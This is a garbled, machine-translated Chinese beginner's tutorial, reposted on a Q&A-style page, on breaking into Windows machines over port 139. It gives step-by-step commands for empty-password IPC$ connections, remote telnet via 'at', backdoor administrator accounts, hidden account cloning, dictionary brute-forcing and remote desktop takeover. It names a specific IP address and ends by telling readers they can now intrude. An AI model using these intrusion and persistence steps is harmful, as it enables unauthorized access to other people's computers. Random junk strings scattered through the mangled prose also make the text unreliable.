當前位置:成語大全網 - 書法字典 - 黑進網站應該看什麽書?

黑進網站應該看什麽書?

黑客新手教程-入侵

2006-11-12 08:42:34/天氣:晴/心情:開心。

我的日誌

對於剛學黑客技術的朋友來說,往往會覺得無從下手。網上教程滿天飛,但實用且貼近初學者的不多。我現在將談論通過端口139的入侵。考慮到大家可能對很多相關知識並不熟悉,我的文章分為兩部分:第壹部分是相關知識的介紹,第二部分是通過壹個例子詳細講述入侵過程和各種命令的使用。現在,我們走吧。

5e @ pf9 ~)I0 & lt;第壹部分:知識介紹>範博樹M t8pM+bnX,_

(1)什麽是端口?

我;ESN#v)Mf0端口是各種程序打開的接收和發送數據的“窗口”。程序需要它來與外界交流。妳可以把它想象成壹個郵箱。如果我想給妳發信息,我會把它放在妳的郵箱裏。想要獲取新聞,只需要打開郵箱取出即可。同樣,其他計算機為了和妳的機器通信,會把數據發送到妳的機器的端口,計算機可以讀取端口來獲取數據。

端口0qn$jxW8R'h0 (2)是唯壹的嗎?

D h S F~p1j Q+Z0K0端口不是唯壹的。端口分TCP端口和UDP端口兩種,每種端口最多65535個,分別用自然數1 ~ 65535編號。這裏不解釋TCP端口和UDP端口的區別。妳只需要知道不同的端口對應不同的程序,每個程序只能讀取發送到自己端口的數據。例如,hi.exe開放TCP6500端口。如果我發送數據到TCP6501端口或UDP6500端口,hi.exe不能接收它。hi.exe只能接收發送到TCP6500端口的數據。範博樹T @ # GN1P1BS]

(3)TCP 139端口的功能。

\+g6k@"]0 TCP139是用於網絡共享的端口。只有電腦打開TCP139端口,其他電腦才能訪問其* * *共享文件。但是,在Windows 2000/ NT/ XP中,TCP139端口還扮演著壹個重要的角色:遠程管理連接(IPC$,Admin$),這是微軟為了方便管理員管理遠程計算機而專門設置的。為了成功建立IPC$(遠程管理)連接,需要管理員的用戶名和密碼,這也是基於端口139的入侵的重點。只要我們拿到遠程電腦的密碼,然後通過139端口連接IPC$就完全控制了遠程電腦。

nSlC)x_}y0 (4)必要命令的詳細說明和相關工具的使用

St q'l(@SrC0b0)首先必須說明,為了讓妳在黑客道路上成長,拆掉妳的Win98,裝上Windows2000。我下面寫的大部分命令和工具只適用於Windows2000/ NT/ XP。

P @7i~]4W0點擊開始→運行,輸入cmd.exe,彈出命令行窗口。妳壹定對它很熟悉,因為入侵期間95%的工作都是在這裏完成的。現在我來介紹幾個成功入侵139的必備命令:dir,cd,del,copy,net,at。

4p"g,r@duS5|0 dir用於列出指定路徑下的目錄和文件,輸入c:\ & gt;Dir c:\將列出驅動器c下的所有目錄和文件,dir c:\winnt\將列出驅動器c下winnt文件夾下的目錄和文件,Dir有三個常用參數/p、/a、/s、/p,用於在不同的屏幕中顯示列出的文件。通常某個目錄下有很多文件,壹個屏幕無法顯示,所以我們會用/p比如dir c:\ /p p. /a用來顯示隱藏的文件和目錄。在Windows中設置壹個文件屬性為hidden(假設文件為c:\a.txt),然後在命令行輸入dir c:\a.txt,會發現系統告訴妳找不到這個文件(file not fount),但是輸入dir c:\a.txt /a,就可以看到hidden a. /s是intrusion中非常有用的參數,用來搜索當前驅動器(驅動器C,驅動器D ……)並找到指定的文件。例如,我想刪除對方的主頁文件index.asp,但我不知道這個文件的位置,所以我們可以使用DIR index.asp/S在每個分區下搜索。

C ['_} 9UA 0 CD的作用是進入目錄,cd c:\winnt\system32在system32目錄下。不信妳可以用dir和dir c:\winnt\system32,結果是壹樣的。如果要切換分區,c:\ & gt;d:就在d盤下面,不是cd d:,這個要註意。範博樹/@ Kb/HL;t?5Q

Del用於刪除文件。刪除a.txt..

;} d | 0u3W0copy用於復制文件。這個命令非常重要,所以妳必須熟練掌握它。復制c:\a.txt d:\mp3\b.txt將C盤下的a.txt復制到D盤下的mp3目錄,重命名為b.txt,註意復制後的文件類型可以任意,復制c:\a.exe將文件類型改為可執行文件。當然,a.exe不會正常運轉。範伯舒!r` z Bz1IVS Fx

Net命令是139端口入侵最重要的部分,在整個入侵過程中會多次用到。在命令行窗口輸入net,可以看到有很多參數。不要被這麽多參數嚇到。現在我給妳壹壹解釋。

s C+Ay5?Y.}y0凈使用

“qFqi ve0net use”命令用於建立與遠程主機的IPC$(管理)連接。當妳有了遠程計算機的用戶名(通常是administrator,切記)和密碼後,在命令行窗口輸入netuse \ \ IP \ IPC $ " password "/user:administrator,妳就成功建立了與遠程計算機的連接。之後就可以管理了。Net使用對於映射遠程機器的* * *共享資源也很有用。輸入net use z: \\IP\C$(註意!之後的所有命令都是基於第壹個命令,也就是說,必須先建立IPC$連接,這些命令才能成功。)打開“我的電腦”,妳會發現多了壹個Z盤,遠程主機c盤下面全是東西。如果刪除了Z盤的壹個文件,另壹個c盤下的文件也會被刪除。Z盤上的所有操作,其實都是遠程電腦c盤上的操作。怎麽樣?是不是很有意思?博叔/) o!L6{2z

網景愛好者Boshu /v-o?壹日好

Net view用於檢查遠程計算機有哪些* * *資源。平時會看到* * *共享文件夾比如我的文檔,只要輸入net view \\IP。我個人覺得網景不是很有用。要知道,在Windows2000中,所有的硬盤都是* * *,但是如果用net view查看,就會發現沒有C、D、E、D、E等* * *資源,這是為什麽呢?註意,在之前的壹些命令中,我們已經輸入了IPC$、C$和C$這樣奇怪的東西。事實上,在Windows2000中,後綴為“$”的* * *資源是隱藏的,在命令行窗口中看不到。在Windows2000中,所有磁盤都以C $、D $和E $等名稱共享。發燒友Boshu J+NAy?sF & ampt9F#Q

凈份額

*Y,\ IP"h?;I8l~ H0net份額是用來開* * *享受的。輸入net share QQ=c:\tencent,妳會發現壹個名為QQ的額外* * *享受資源。這個命令的效果是什麽?假設壹臺主機做好了安全工作,關閉了IPC$,C$,D$等* * *享受,那麽我們就無法在139端口建立管理連接,無法訪問對方的c盤。當我們通過其他方式(比如遠程溢出)進入時,可以使用net share打開IPC$,從而變成我們熟悉的139端口入侵。相應的,如果要關閉* * *享受,可以加上後綴/del,比如net share c$ /del會關閉c盤的* * *享受。範伯舒%b`rn0ja

網友發燒友Boshu "q"R7p Qy"EO

net user命令用於管理主機上的用戶。輸入不帶任何參數的net user將列出計算機上的所有用戶名。現在讓我們看看net user命令是如何操作用戶的。愛好者Boshu 8y1d。Ur}kUs X

┎———————————————————————————————————————————————————————┒

6yyi # czo0 ┃網用戶hacker12345/Add創建壹個名為hacker的用戶,密碼為12345。┃

4LFNKBuV*v0 ┃網用戶hacker /del刪除名為hacker的用戶。┃情人博舒9iy % u 1 fi9q;ypb'E

┃網絡用戶黑客/活動:否禁用用戶黑客,該用戶不能再登錄到這臺計算機。┃愛好者Boshu 1C0q@ w[,zq*qR]

┃網絡用戶黑客/活動:是激活禁用的黑客。┃範伯舒;o # \ 4d # c;h,G

┃網本地組管理員黑客/添加將用戶黑客添加到管理員組,即增強黑客的權限,使其成為管理員。

L5B。xzk~"r%qo0┖———————————————————————————————————————————————————————┚南部

3\|;h aU,]0網絡啟動/網絡停止

iC!Ok n0net start/net stop命令用於啟動/停止系統服務。通常,我們會net stop w3svc,然後替換網頁。這個命令我就不多說了,知道就好。發燒友Boshu "`k,H5au的;o;U

*在命令時,凈時間

“g|?\ f;VJ0把它們放在壹起是因為at命令需要net time命令的結果。壹般我們先net view \\ip獲取遠程主機的時間(假設時間是9:00),然後在\\ip 9:00 telnet啟動telnet服務,用來遠程運行程序。

(5)需要準備的工具

P'ZXeY5z"j0肉雞獵人v1.0掃描壹個網段找出電腦愛好者Boshu v8|+rMNO4YYFus弱密碼。

SMBCrack暴力猜測特定主機的密碼,博叔,F] CRS+N。

DameWare迷妳遙控監控操作屏

~ f9bfy # I " o0 CA.exe克隆管理員帳戶。

& lt第二部分:入侵示例>

,Kz/K?#Hbw/k0今天玩星際,被壹個高手反復破壞,好ing……郁悶...所以我上網搞了壹些活動。打開肉雞獵人,在起始IP和結束IP中填入妳要掃描的IP端,點擊開始。過了壹會兒,兩只肉雞出現在我們面前(圖壹)。現在,讓我們點擊開始→運行→cmd.exe打開可愛的命令行窗口。輸入:net use \ \ 218 . 80 . 236 . 37 \ IPC $ " "/user:administrator,提示“命令成功完成”。哈哈,現在我們已經建立了IPC$(遠程管理連接),然後,我們就可以得到遠程主機時間:net time \\218.80.236.37。當前時間是2003年5月22日。然後使用at命令啟動遠程主機的telent服務,at \ \ 218 . 80 . 236 . 37 10:32 Telent,方便我們登錄遠程主機。(註意!建立IPC$連接和登錄遠程主機是兩個完全不同的概念。建立IPC$是為了能夠使用at命令來啟動遠程服務。幾乎所有的命令都是登錄遠程主機後使用的,否則都是自己電腦操作。)然後,telent 218.80.236.37 23,會出現如圖(圖2)所示的提示窗口,輸入兩次administrator enter就會出現命令提示符。從現在開始,我們輸入的所有命令都將在遠程計算機上執行。首先輸入net user,看看有哪些用戶。我們在這裏只找到了三個用戶,分別是administrator、Guest和IUSER _ KIKI。考慮到用戶下次進入主機時可能已經更改了Administrator的密碼,我們需要留壹個小後門,以便成功重新進入。通常,我們將通過輸入net user guest/active:yes來激活guest用戶(它內置於guest用戶系統中,因此它在每臺計算機上都可用,默認情況下該用戶是禁用的)。Net用戶guest 12345將guest的密碼改為12345,Net本地組管理員guest/Add將guest的權限升級為管理員權限,這樣下次來的時候就可以完全控制遠程主機了。出了後門,妳可以好好逛逛他的電腦,看看有沒有什麽好玩的,順便把剛學的東西付諸實踐。如果妳覺得命令行真的不方便,那麽跟我來,我會帶妳進入壹個豐富多彩的圖形界面。現在,在垂死的窗口中輸入exit,它將顯示“斷開遠程主機”。我們用這個命令離開遠程主機,回到我們自己的機器,點擊下載的DameWare,就會出現如圖3所示的界面。在“主機名”中填寫對方IP,輸入用戶名administrator和密碼(現在密碼為空,所以不填),點擊“連接”,然後等待DameWare。過壹會兒,出現如圖(圖4)所示的窗口,它顯示了遠程主機的桌面。妳可以看到別人的壹舉壹動,也可以接管他的鼠標。是不是很有意思?但是記住,我們是來學習技術的,不是來破壞技術的,所以不要做壞事。範伯舒“W e!Y8De

文章到此結束。事實上,關於入侵的例子,有幾點我想特別提及:

#s3c#J7{6`DoD0 (1)肉雞獵人只能搜索密碼為空的主機,所以壹開始只能練手。壹般需要攻擊端口139。我們用的是SMBCrack這個軟件,用來暴力猜測壹臺主機的密碼。速度很快。我的機器只需要半個小時左右就能猜出24萬個密碼,而且是從在命令行窗口輸入smbcrack 218 . 80 . 236 . 37 Administrator words . txt 139開始的。218.80.236.37這裏是妳要攻擊的IP。words.txt是壹個字典,裏面有很多密碼。妳可以自己去網上查。好的字典可以提高入侵的成功率。Boshu -B4ejtb'a-S0Dr$A

在telent進入另壹方的機器後,我們經常使用CA.exe,以便讓後門更加隱蔽。CA是(克隆管理員)的縮寫。從名字就應該知道它可以把其他用戶克隆成管理員,CA.exe \ \ 218 . 80 . 236 . 37管理員密碼IUSR_VICTIM SetNewPass,它把IUSR_VICTIM克隆成管理員。密碼設置為新密碼。克隆完成後,壹般是找不到的,所以隱蔽性很高。博舒。d Yk$RrIC9?

(3)at的命令有點搞笑。很多人先用net view \\IP看時間,然後用at啟動對方的程序,但是經常失敗。這是因為很多人不知道用net view \\IP獲得的時間不能直接用於at,這就涉及到+12的問題。如果看到對方的時間是下午3點,那麽AT應該用AT \Boshu 8C,Q7Jr*M,壹個粉絲

嗯,就這些。相信大家看完這篇文章,都能成功入侵139端口。至於進去之後做什麽,妳可以自己做。